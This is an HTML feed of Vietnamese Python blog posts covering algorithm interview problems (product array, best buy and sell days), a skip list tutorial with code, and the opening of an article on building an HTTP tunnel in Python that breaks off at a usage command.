<span class="n">left_product</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">left_product</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">*</span> <span class="n">A</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">xrange</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">A</span><span class="p">)</span> <span class="o">-</span> <span class="mi">2</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span>
<span class="n">right_product</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">right_product</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">*</span> <span class="n">A</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span>
<span class="n">B</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">A</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">xrange</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">A</span><span class="p">)):</span>
<span class="n">B</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">left_product</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">*</span> <span class="n">right_product</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="k">return</span> <span class="n">B</span>
<span class="k">assert</span><span class="p">(</span><span class="n">solve</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">])</span> <span class="o">==</span> <span class="p">[</span><span class="mi">84</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">28</span><span class="p">,</span> <span class="mi">21</span><span class="p">])</span>
</pre></div>
<p>Khi đọc kỹ đoạn mã trên, ta sẽ thấy rằng có lẽ danh sách <strong>left_product</strong> là thừa. Thay vào đó, trong quá trình tính <strong>B</strong>, ta có thể giữ một biến tạm cho biết tích từ <strong>A[0]</strong> đến <strong>A[i - 1]</strong>. Phần này xin được dành làm một thử thách nhỏ cho bạn đọc. Nếu bạn giải ra, xin hãy cùng trao đổi trong <a class="reference external" href="forum.vithon.org">diễn đàn</a>.</p>
</div>
</div>
Phỏng vấn: Cách mua và bán lời nhất2015-03-06T04:47:00+07:002015-03-06T04:47:00+07:00Nguyễn Thành Namtag:None,2015-03-06:2015/03/phong-van-cach-mua-va-ban-loi-nhat.html<div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Giả sử như bạn có thông tin về giá của một món hàng trong một khoảng thời gian nào đó. Tìm ngày bạn sẽ mua, và ngày bạn sẽ bán món hàng đó để đạt được lợi nhuận cao nhất.</p>
<p>Đầu vào: một danh sách các giá trị …</p></div><div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Giả sử như bạn có thông tin về giá của một món hàng trong một khoảng thời gian nào đó. Tìm ngày bạn sẽ mua, và ngày bạn sẽ bán món hàng đó để đạt được lợi nhuận cao nhất.</p>
<p>Đầu vào: một danh sách các giá trị thực là giá của món hàng từng ngày.</p>
<p>Đầu ra: hai chỉ mục trong danh sách là ngày mua, và ngày bán.</p>
<p>Ví dụ: với dữ liệu vào <strong>[10, 13, 9, 10, 11]</strong>, thì kết quả là <strong>(0, 1)</strong> ý là mua ngày 0 với mức giá 10, bán ra ngày 1 với mức giá 13, lợi nhuận cao nhất là 3 đơn vị.</p>
</div>
<div class="section" id="phan-tich">
<h2>Phân tích</h2>
<p>Gọi danh sách đầu vào là <strong>A</strong>. Câu hỏi này yêu cầu chúng ta tìm hai chỉ mục <strong>x</strong> và <strong>y</strong> trong <strong>A</strong> sao cho <strong>A[y] - A[x]</strong> lớn nhất, với điều kiện <strong>x < y</strong>.</p>
<p>Đặt <strong>min_x</strong> là chỉ mục của giá thấp nhất trong danh sách <strong>A</strong>. Khi xét đến phần tử <strong>i</strong> trong danh sách <strong>A</strong>, ta sẽ gặp một số trường hợp sau:</p>
<dl class="docutils">
<dt>Giá giảm <strong>A[i] < A[min_x]</strong></dt>
<dd>Đây là cơ hội mua vào nên ta sẽ đặt <strong>min_x = i</strong>.</dd>
<dt>Giá tăng <strong>A[i] >= A[min_x]</strong></dt>
<dd>Đây là cơ hội bán ra nên ta sẽ phải xét thêm <strong>A[i] - A[min_x] > A[y] - A[x]</strong>, tức là bán vào lúc này có lời hơn lúc trước không. Nếu có, ta sẽ cập nhật <strong>y, x = i, min_x</strong>.</dd>
</dl>
</div>
<div class="section" id="cai-dat">
<h2>Cài đặt</h2>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">solve</span><span class="p">(</span><span class="n">A</span><span class="p">):</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">y</span> <span class="o">=</span> <span class="n">min_x</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">xrange</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">A</span><span class="p">)):</span>
<span class="k">if</span> <span class="n">A</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o"><</span> <span class="n">A</span><span class="p">[</span><span class="n">min_x</span><span class="p">]:</span>
<span class="n">min_x</span> <span class="o">=</span> <span class="n">i</span>
<span class="k">elif</span> <span class="n">A</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="n">A</span><span class="p">[</span><span class="n">min_x</span><span class="p">]</span> <span class="o">>=</span> <span class="n">A</span><span class="p">[</span><span class="n">y</span><span class="p">]</span> <span class="o">-</span> <span class="n">A</span><span class="p">[</span><span class="n">x</span><span class="p">]:</span>
<span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="o">=</span> <span class="n">min_x</span><span class="p">,</span> <span class="n">i</span>
<span class="k">return</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="n">solve</span><span class="p">([</span><span class="mi">10</span><span class="p">,</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">9</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="mi">11</span><span class="p">])</span> <span class="o">==</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span>
</pre></div>
</div>
Danh sách nhảy cóc (Skip List)2014-05-01T15:01:00+07:002014-05-01T15:01:00+07:00Phan Đắc Anh Huytag:None,2014-05-01:2014/05/danh-sach-nhay-coc-skip-list.html<div class="section" id="gioi-thieu">
<h2>Giới thiệu</h2>
<p>Qua các lượt bài trước, chúng ta đã thảo luận về thuật toán tìm kiếm nhị
phân và ngăn (partition). Cả hai thuật toán này đều dựa trên cấu trúc dữ
liệu mảng (array) vốn rất quen thuộc với chúng ta.</p>
<p>Ngoài ra, hai thuật toán trên được …</p></div><div class="section" id="gioi-thieu">
<h2>Giới thiệu</h2>
<p>Qua các lượt bài trước, chúng ta đã thảo luận về thuật toán tìm kiếm nhị
phân và ngăn (partition). Cả hai thuật toán này đều dựa trên cấu trúc dữ
liệu mảng (array) vốn rất quen thuộc với chúng ta.</p>
<p>Ngoài ra, hai thuật toán trên được xếp vào nhóm thuật toán
tất định (determistic algorithm). Các thuật toán thuộc nhóm này thỏa mãn
hai điều kiện:</p>
<ul class="simple">
<li>Luôn trả về kết quả giống nhau nếu được cung cấp cùng một dữ liệu đầu vào.</li>
<li>Các trạng thái (state) trong quá trình tính toán phải giống nhau với cùng một dữ liệu đầu vào.</li>
</ul>
<p>Trong bài viết này tác giả đề cập đến cấu trúc dữ liệu "Danh Sách Nhảy
Cóc" (Skip List), cơ chế hoạt động của cấu trúc dữ liệu này (bao gồm các
thao tác Thêm, Xóa, Tìm Kiếm) phụ thuộc vào yếu tố ngẫu nhiên vì vậy nó
được xếp vào nhóm thuật toán ngẫu tính (randomized algorithm), trái
ngược với nhóm thuật toán tất định.</p>
</div>
<div class="section" id="muc-dich">
<h2>Mục đích</h2>
<p>Một cấu trúc dữ liệu đơn giản nhưng hiệu quả trên các tác vụ cơ bản: Thêm, Xóa và Tìm Kiếm.</p>
</div>
<div class="section" id="dinh-nghia">
<h2>Định nghĩa</h2>
<p>Danh sách nhảy cóc S là một tập hợp các danh sách <tt class="docutils literal">S[0], S[1] ... <span class="pre">S[N-1]</span></tt>. Để dễ hình dung chúng ta xem mỗi danh sách con tương ứng với một "tầng", trong đó <tt class="docutils literal">0</tt> là tầng thấp nhất, cho đến <tt class="docutils literal"><span class="pre">N-1</span></tt> là tầng cao nhất. Danh sách nhảy cóc luôn thỏa mãn các điều kiện:</p>
<ul class="simple">
<li>Mỗi danh sách con chứa các giá trị theo thứ tự tăng dần.</li>
<li>Phần từ đầu và cuối mỗi danh sách con đều là NULL.</li>
<li>Danh sách ở tầng cao hơn là dãy con của danh sách tầng dưới.</li>
</ul>
<p>Ví dụ một trạng thái của danh sách nhảy cóc chứa dãy số <tt class="docutils literal">12, 23, 34, 46, 64, 78, 89</tt>:</p>
<pre class="literal-block">
S[3] NULL 23 NULL
S[2] NULL 23 64 NULL
S[1] NULL 23 34 64 78 NULL
S[0] NULL 12 23 34 46 64 78 89 NULL
</pre>
</div>
<div class="section" id="tim-kiem-trong-danh-sach">
<h2>Tìm kiếm trong danh sách</h2>
<p>Gọi K là giá trị cần tìm kiếm. Ý tưởng chính của thuật toán là cố gắng duyệt càng xa càng tốt trên tầng cao hơn và tiếp tục ở tầng thấp hơn cho đến khi không thể duyệt được nữa.</p>
<p>Thuật toán bắt đầu từ phần tử đầu tiên, tầng trên cùng của danh sách. Duyệt theo quy luật:</p>
<ul class="simple">
<li>Nhảy sang phần tử kế tiếp trên cùng tầng nếu phần tử tiếp theo đó khác NULL và bé hơn hoặc bằng K.</li>
<li>Nếu không thể di chuyển trên cùng tầng được nữa:<ul>
<li>Dừng duyệt nếu như đang ở tầng thấp nhất.</li>
<li>Ngược lại, nhảy xuống phần tử ngay bên dưới ở tầng tiếp theo.</li>
</ul>
</li>
</ul>
<p>Sau khi kết thúc duyệt danh sách, nếu phần tử hiện tại bằng K, thuật toán kết luận tìm được K, ngược lại K không tồn tại trong danh sách.</p>
<p>Ví dụ dưới đây minh họa việc tìm kiếm <tt class="docutils literal">K = 85</tt> trong danh sách S tại trạng thái được mô tả ở phần trước:</p>
<pre class="literal-block">
S[3] NULL -------> 23 NULL
S[2] NULL 23 -----------> 64 NULL
S[1] NULL 23 34 64 -> 78 -> 83 NULL
S[0] NULL 12 23 34 46 64 78 83 90 NULL
</pre>
<div class="section" id="giai-thich">
<h3>Giải thích</h3>
<table border="1" class="docutils">
<colgroup>
<col width="4%" />
<col width="13%" />
<col width="16%" />
<col width="15%" />
<col width="51%" />
</colgroup>
<thead valign="bottom">
<tr><th class="head">Bước</th>
<th class="head">Tầng hiện tại</th>
<th class="head">Phần tử hiện tại</th>
<th class="head">Phần tử kế tiếp</th>
<th class="head">Di chuyển</th>
</tr>
</thead>
<tbody valign="top">
<tr><td>1</td>
<td>S[3]</td>
<td>NULL</td>
<td>23</td>
<td>Nhảy sang phần tử kế tiếp vì 23 <= K</td>
</tr>
<tr><td>2</td>
<td>S[3]</td>
<td>23</td>
<td>NULL</td>
<td>Nhảy xuống tầng dưới vì phần tử kế tiếp bằng NULL</td>
</tr>
<tr><td>3</td>
<td>S[2]</td>
<td>23</td>
<td>64</td>
<td>Nhảy sang phần tử kế tiếp vì 64 <= K</td>
</tr>
<tr><td>4</td>
<td>S[2]</td>
<td>64</td>
<td>NULL</td>
<td>Nhảy xuống tầng dưới vì phần tử kế tiếp bằng NULL</td>
</tr>
<tr><td>5</td>
<td>S[1]</td>
<td>64</td>
<td>78</td>
<td>Nhảy sang phần tử kế tiếp vì 78 <= K</td>
</tr>
<tr><td>6</td>
<td>S[1]</td>
<td>78</td>
<td>83</td>
<td>Nhảy sang phần tử kế tiếp vì 83 <= K</td>
</tr>
<tr><td>7</td>
<td>S[1]</td>
<td>83</td>
<td>NULL</td>
<td>Nhảy xuống tầng dưới vì phần tử kế tiếp bằng NULL</td>
</tr>
<tr><td>8</td>
<td>S[0]</td>
<td>83</td>
<td>90</td>
<td>Dừng thuật toán vì 90 > K</td>
</tr>
</tbody>
</table>
<p>Dựa vào giá trị của phần tử cuối cùng, chúng ta kết luận không tìm thấy
giá trị 85 trong danh sách. Mặt khác, nếu chúng ta tìm <tt class="docutils literal">K = 83</tt>, các
bước duyệt trên danh sách sẽ giống hệt như vậy ngoại trừ việc thuật toán
sẽ kết thúc ở bước thứ 7 và chúng ta tìm được K.</p>
<p>Để ý các bước duyệt, chúng ta thấy thuật toán đã <em>nhảy cóc</em> qua các phần
tử 12, 34 và 46.</p>
</div>
</div>
<div class="section" id="them-phan-tu-vao-danh-sach">
<h2>Thêm phần tử vào danh sách</h2>
<p>Gọi H là giá trị của phần tử cần thêm vào danh sách S. Thuật toán được
mô tả như sau:</p>
<ol class="arabic simple">
<li>Thực hiện việc tìm kiếm H trong S và lưu lại các vị trí cuối cùng trên mỗi tầng trong khi duyệt: <tt class="docutils literal"><span class="pre">p[N-1],</span> <span class="pre">p[N-2],</span> <span class="pre">...,</span> p[1], p[0]</tt> tương ứng với tầng <tt class="docutils literal"><span class="pre">N-1,</span> <span class="pre">N-2,</span> <span class="pre">...,</span> 1, 0</tt>.</li>
<li>Nếu H đã tồn tại trong danh sách S, kết thúc thuật toán.</li>
<li>Thêm phần tử giá trị <tt class="docutils literal">H</tt> vào sau <tt class="docutils literal">p[0]</tt>.</li>
<li>Tung một đồng xu</li>
</ol>
<blockquote>
<ol class="arabic simple">
<li>Nếu được mặt ngửa, di chuyển lên tầng trên và thêm phần tử giá trị H vào sau vị trí tương ứng ở tầng này. (<tt class="docutils literal">p[1]</tt> nếu là tầng 1, <tt class="docutils literal">p[2]</tt> nếu là tầng 2, ...).</li>
<li>Nếu được mặt xấp, dừng thuật toán.</li>
</ol>
</blockquote>
<ol class="arabic simple" start="5">
<li>Quay lại bước 4.</li>
</ol>
<p>Lưu ý tại bước 4, thuật toán phải tạo tầng mới nếu đồng xu hiện mặt ngửa
và chúng ta đang ở tầng trên cùng.</p>
</div>
<div class="section" id="xoa-phan-tu-khoi-danh-sach">
<h2>Xóa phần tử khỏi danh sách</h2>
<p>Gọi H là giá trị của phần tử cần phải xóa khỏi danh sách S. Thuật toán
khá tương tự với việc thêm phần tử:</p>
<ol class="arabic simple">
<li>Thực hiện việc tìm kiếm H trong S và lưu lại các vị trí cuối cùng trên mỗi tầng trong khi duyệt: <tt class="docutils literal"><span class="pre">p[N-1],</span> <span class="pre">p[N-2],</span> <span class="pre">...,</span> p[1], p[0]</tt>.</li>
<li>Nếu không tìm thấy H, thuật toán kết thúc.</li>
<li>Ngược lại, xóa tất cả các phần tử tại vị trí <tt class="docutils literal"><span class="pre">p[N-1],</span> <span class="pre">p[N-2],</span> <span class="pre">...,</span> p[1], p[0]</tt> khỏi danh sách.</li>
<li>Xóa tất cả các tầng trống (tầng chỉ có hai phần tử NULL ở đầu và cuối).</li>
</ol>
</div>
<div class="section" id="cai-dat">
<h2>Cài đặt</h2>
<p>Chúng ta định nghĩa một phần tử của danh sách nhảy cóc như sau:</p>
<div class="highlight"><pre><span></span><span class="k">class</span> <span class="nc">SkipListNode</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">value</span> <span class="o">=</span> <span class="n">value</span>
<span class="bp">self</span><span class="o">.</span><span class="n">next</span> <span class="o">=</span> <span class="kc">None</span>
<span class="bp">self</span><span class="o">.</span><span class="n">down</span> <span class="o">=</span> <span class="kc">None</span>
</pre></div>
<p>Như các bạn thấy, với mỗi phần tử ngoài giá trị cần lưu, chúng ta chỉ quan tâm đến phần tử kế tiếp (bên phải) và phần tử tương ứng nằm ở tầng dưới.</p>
<p>Kế tiếp, định nghĩa danh sách nhảy cóc với hàm khởi tạo:</p>
<div class="highlight"><pre><span></span><span class="k">class</span> <span class="nc">SkipList</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">head</span> <span class="o">=</span> <span class="n">SkipListNode</span><span class="p">(</span><span class="kc">None</span><span class="p">)</span>
</pre></div>
<p>Lớp <tt class="docutils literal">SkipList</tt> sử dụng biến <tt class="docutils literal">head</tt> để lưu phần tử đầu tiên của tầng cao nhất, đây luôn là vị trí bắt đầu khi chúng ta duyệt danh sách.</p>
<p>Dễ thấy rằng tác vụ Thêm và Tìm Kiếm đều cần phải duyệt qua danh sách
với cùng một cách để tìm một giá trị, vì vậy chúng ta định nghĩa
hàm <tt class="docutils literal">_search</tt> để có thể dùng chung cho cả hai như sau:</p>
<div class="highlight"><pre><span></span><span class="c1">#</span>
<span class="k">def</span> <span class="nf">_search</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
<span class="n">last_nodes</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">current_node</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">head</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="k">if</span> <span class="n">current_node</span><span class="o">.</span><span class="n">next</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span> <span class="ow">and</span> <span class="n">current_node</span><span class="o">.</span><span class="n">next</span><span class="o">.</span><span class="n">value</span> <span class="o"><=</span> <span class="n">value</span><span class="p">:</span>
<span class="n">current_node</span> <span class="o">=</span> <span class="n">current_node</span><span class="o">.</span><span class="n">next</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">last_nodes</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">current_node</span><span class="p">)</span>
<span class="k">if</span> <span class="n">current_node</span><span class="o">.</span><span class="n">down</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
<span class="n">current_node</span> <span class="o">=</span> <span class="n">current_node</span><span class="o">.</span><span class="n">down</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">break</span>
<span class="k">return</span> <span class="n">last_nodes</span>
</pre></div>
<p>Cách hoạt động của hàm này được mô tả ở mục <a class="reference internal" href="#tim-kiem-trong-danh-sach">Tìm kiếm trong danh sách</a>, giá trị trả về là danh sách <tt class="docutils literal"><span class="pre">p[N-1],</span> <span class="pre">p[N-2],</span> <span class="pre">...,</span> p[0]</tt> tương ứng với phần tử cuối cùng được duyệt đến tại các tầng <tt class="docutils literal"><span class="pre">N-1,</span> <span class="pre">N-1,</span> <span class="pre">...,</span> 0</tt>.</p>
<p>Lúc này hàm <tt class="docutils literal">search</tt> của chúng ta khá đơn giản, chỉ cần kiểm tra giá trị của phần tử cuối cùng được trả về bởi <tt class="docutils literal">_search</tt>:</p>
<div class="highlight"><pre><span></span><span class="c1">#</span>
<span class="k">def</span> <span class="nf">search</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
<span class="n">last_nodes</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_search</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
<span class="k">if</span> <span class="n">last_nodes</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">value</span> <span class="o">==</span> <span class="n">value</span><span class="p">:</span>
<span class="k">return</span> <span class="n">value</span>
<span class="k">return</span> <span class="kc">None</span>
</pre></div>
<p>Hàm <tt class="docutils literal">insert</tt> để thêm phần tử vào danh sách:</p>
<div class="highlight"><pre><span></span><span class="c1">#</span>
<span class="k">def</span> <span class="nf">insert</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">new_value</span><span class="p">):</span>
<span class="n">last_nodes</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_search</span><span class="p">(</span><span class="n">new_value</span><span class="p">)</span>
<span class="c1"># Stop if the value is already there in the list</span>
<span class="k">if</span> <span class="n">last_nodes</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">value</span> <span class="o">==</span> <span class="n">new_value</span><span class="p">:</span>
<span class="k">return</span>
<span class="n">last_created_node</span> <span class="o">=</span> <span class="kc">None</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">new_node</span> <span class="o">=</span> <span class="n">SkipListNode</span><span class="p">(</span><span class="n">new_value</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">last_nodes</span><span class="p">)</span> <span class="o">></span> <span class="mi">0</span><span class="p">:</span>
<span class="n">last_node</span> <span class="o">=</span> <span class="n">last_nodes</span><span class="o">.</span><span class="n">pop</span><span class="p">()</span>
<span class="n">new_node</span><span class="o">.</span><span class="n">next</span> <span class="o">=</span> <span class="n">last_node</span><span class="o">.</span><span class="n">next</span>
<span class="n">last_node</span><span class="o">.</span><span class="n">next</span> <span class="o">=</span> <span class="n">new_node</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">new_head</span> <span class="o">=</span> <span class="n">SkipListNode</span><span class="p">(</span><span class="kc">None</span><span class="p">)</span>
<span class="n">new_head</span><span class="o">.</span><span class="n">down</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">head</span>
<span class="n">new_head</span><span class="o">.</span><span class="n">next</span> <span class="o">=</span> <span class="n">new_node</span>
<span class="n">new_node</span><span class="o">.</span><span class="n">next</span> <span class="o">=</span> <span class="kc">None</span>
<span class="bp">self</span><span class="o">.</span><span class="n">head</span> <span class="o">=</span> <span class="n">new_head</span>
<span class="n">new_node</span><span class="o">.</span><span class="n">down</span> <span class="o">=</span> <span class="n">last_created_node</span>
<span class="n">last_created_node</span> <span class="o">=</span> <span class="n">new_node</span>
<span class="c1"># We are flipping the coin now</span>
<span class="k">if</span> <span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
<span class="k">break</span>
</pre></div>
<p>Và cuối cùng là hàm <tt class="docutils literal">remove</tt> để xóa phần tử khỏi danh sách:</p>
<div class="highlight"><pre><span></span><span class="c1">#</span>
<span class="k">def</span> <span class="nf">remove</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
<span class="n">current_node</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">head</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="k">if</span> <span class="n">current_node</span><span class="o">.</span><span class="n">next</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span> <span class="ow">and</span> <span class="n">current_node</span><span class="o">.</span><span class="n">next</span><span class="o">.</span><span class="n">value</span> <span class="o"><=</span> <span class="n">value</span><span class="p">:</span>
<span class="k">if</span> <span class="n">current_node</span><span class="o">.</span><span class="n">next</span><span class="o">.</span><span class="n">value</span> <span class="o"><</span> <span class="n">value</span><span class="p">:</span>
<span class="n">current_node</span> <span class="o">=</span> <span class="n">current_node</span><span class="o">.</span><span class="n">next</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">current_node</span><span class="o">.</span><span class="n">next</span> <span class="o">=</span> <span class="n">current_node</span><span class="o">.</span><span class="n">next</span><span class="o">.</span><span class="n">next</span>
<span class="k">if</span> <span class="n">current_node</span><span class="o">.</span><span class="n">value</span> <span class="ow">is</span> <span class="kc">None</span> <span class="ow">and</span> <span class="n">current_node</span><span class="o">.</span><span class="n">next</span> <span class="ow">is</span> <span class="kc">None</span>\
<span class="ow">and</span> <span class="n">current_node</span><span class="o">.</span><span class="n">down</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
<span class="bp">self</span><span class="o">.</span><span class="n">head</span> <span class="o">=</span> <span class="n">current_node</span><span class="o">.</span><span class="n">down</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">if</span> <span class="n">current_node</span><span class="o">.</span><span class="n">down</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
<span class="n">current_node</span> <span class="o">=</span> <span class="n">current_node</span><span class="o">.</span><span class="n">down</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">break</span>
</pre></div>
<p>Về cơ bản hàm này khá giống hàm <tt class="docutils literal">_search</tt>: chúng ta vẫn duyệt từ <tt class="docutils literal">head</tt> để tìm kiếm giá trị <tt class="docutils literal">value</tt>. Điểm khác biệt là, nếu tìm thấy <tt class="docutils literal">value</tt> ở bất kỳ tầng nào, chúng ta tiến hành xóa phần tử khỏi tầng đó đồng thời xóa luôn tầng này nếu không còn phần tử (khác <tt class="docutils literal">NULL</tt>) nào khác.</p>
</div>
<div class="section" id="do-phuc-tap">
<h2>Độ phức tạp</h2>
<ul class="simple">
<li>Trung bình<ul>
<li>Bộ nhớ cần thiết: O(n)</li>
<li>Thời gian tìm kiếm, thêm, xóa: O(logn)</li>
</ul>
</li>
<li>Tệ nhất<ul>
<li>Bộ nhớ cần thiết: O(n*logn)</li>
<li>Thời gian tìm kiếm, thêm, xóa: O(n)</li>
</ul>
</li>
</ul>
</div>
<div class="section" id="ban-luan-them">
<h2>Bàn luận thêm</h2>
<ul class="simple">
<li>Các bạn có thể thấy ở thao tác <strong>Thêm phần tử</strong>, danh sách không thay đổi nếu chúng ta thêm một phần tử vốn đã có sẵn trong danh sách. Điều này đồng nghĩa với việc chúng ta mặc định các phần tử là đôi một khác nhau. Hãy sửa lại các đoạn mã ở trên để danh sách nhảy cóc của chúng ta có thể hỗ trợ các phần tử giống nhau.</li>
<li>Để ý rằng độ phức tạp của Danh Sách Nhảy Cóc tương đương với Cây Nhị Phân, ngoại trừ việc Danh Sách Nhảy Cóc sử dụng nhiều bộ nhớ hơn. Bạn đọc có thể chỉ ra điểm nhỉnh hơn của Danh Sách Nhảy Cóc không? (Gợi ý: chuyện gì xảy ra đối với hai danh sách khi có nhiều tiến trình muốn thêm phần tử vào danh sách <strong>cùng một lúc</strong>?)</li>
<li>Hãy viết hàm in ra trạng thái của danh sách nhảy cóc.</li>
<li>Hãy viết hàm in ra các phần tử của danh sách nhảy cóc.</li>
</ul>
</div>
Chương trình đường hầm HTTP bằng Python2014-01-13T18:43:00+07:002014-01-13T18:43:00+07:00Phan Đắc Anh Huytag:None,2014-01-13:2014/01/chuong-trinh-duong-ham-http-bang-python.html<p>(Bài gửi đến PCNV từ cộng tác viên <a class="reference external" href="https://twitter.com/khuevu">Vũ Khuê</a>. Xin cảm ơn bạn.)</p>
<div class="section" id="gioi-thieu">
<h2>Giới thiệu</h2>
<p>Có những lúc bạn cần kết nối đến máy chủ ngoài mạng nội bộ ở một cổng không thuộc những giao thức ứng dụng phổ biến như HTTP hay HTTPS (cổng 80 hoặc 443 …</p></div><p>(Bài gửi đến PCNV từ cộng tác viên <a class="reference external" href="https://twitter.com/khuevu">Vũ Khuê</a>. Xin cảm ơn bạn.)</p>
<div class="section" id="gioi-thieu">
<h2>Giới thiệu</h2>
<p>Có những lúc bạn cần kết nối đến máy chủ ngoài mạng nội bộ ở một cổng không thuộc những giao thức ứng dụng phổ biến như HTTP hay HTTPS (cổng 80 hoặc 443). Nhưnng điều đáng buồn là tường lửa chặn yêu cầu đến những cổng ngoài 80 hoặc 443. Khi đó, điều bạn có thể làm là thiết lập một chương trình trên một máy ngoại mạng. Chưong trình này nhận yêu cầu tử cổng 80 hoặc 443 và chuyển nó đến cổng và máy chủ thực sự. Việc này thường được gọi là thiết lập đường hầm (tunneling).</p>
<p>Trên thực tế, chương trình <tt class="docutils literal">ssh</tt> với tuỳ chọn <tt class="docutils literal"><span class="pre">-L</span></tt> thường được sử dụng cho nhiệm vụ này. Tuy nhiên trong bài này chúng ta sẽ viết chương trinh đường hầm này dựa trên giao thức HTTP. Mục đích chính là miêu tả việc xử lý dữ liệu mạng tầm thấp với Python.</p>
</div>
<div class="section" id="cau-truc">
<h2>Cấu trúc</h2>
<p>Chương trình này gồm 2 thành phần máy khách (client) và máy chủ (server)</p>
<dl class="docutils">
<dt>Tunnel.py</dt>
<dd>Thành phần máy khách. Thành phần này nhận yêu cầu từ một cổng nhất định và bọc dữ liệu này duới dạng một yêu cầu HTTP rồi gửi đến thành phần máy chủ.</dd>
<dt>Tunneld.py</dt>
<dd>Thành phần máy chủ. Thành phần thực chất là một máy chủ HTTP (HTTP server). Khi có yêu cầu gửi đến, nó sẽ đọc yêu cầu này và thực hiện tác vụ tương ứng. Ví dụ như thực hiện kết nối với một máy khác hoặc chuyển dữ liệu từ tải của yêu cầu HTTP đến máy này.</dd>
</dl>
<p>Để thiết lập đường hầm, chạy 2 thành phần như sau:</p>
<div class="highlight"><pre><span></span>python tunnel.py -p <span class="o">[</span>client_listen_port<span class="o">]</span> -h <span class="o">[</span>target_host<span class="o">]</span>:<span class="o">[</span>target_port<span class="o">]</span>
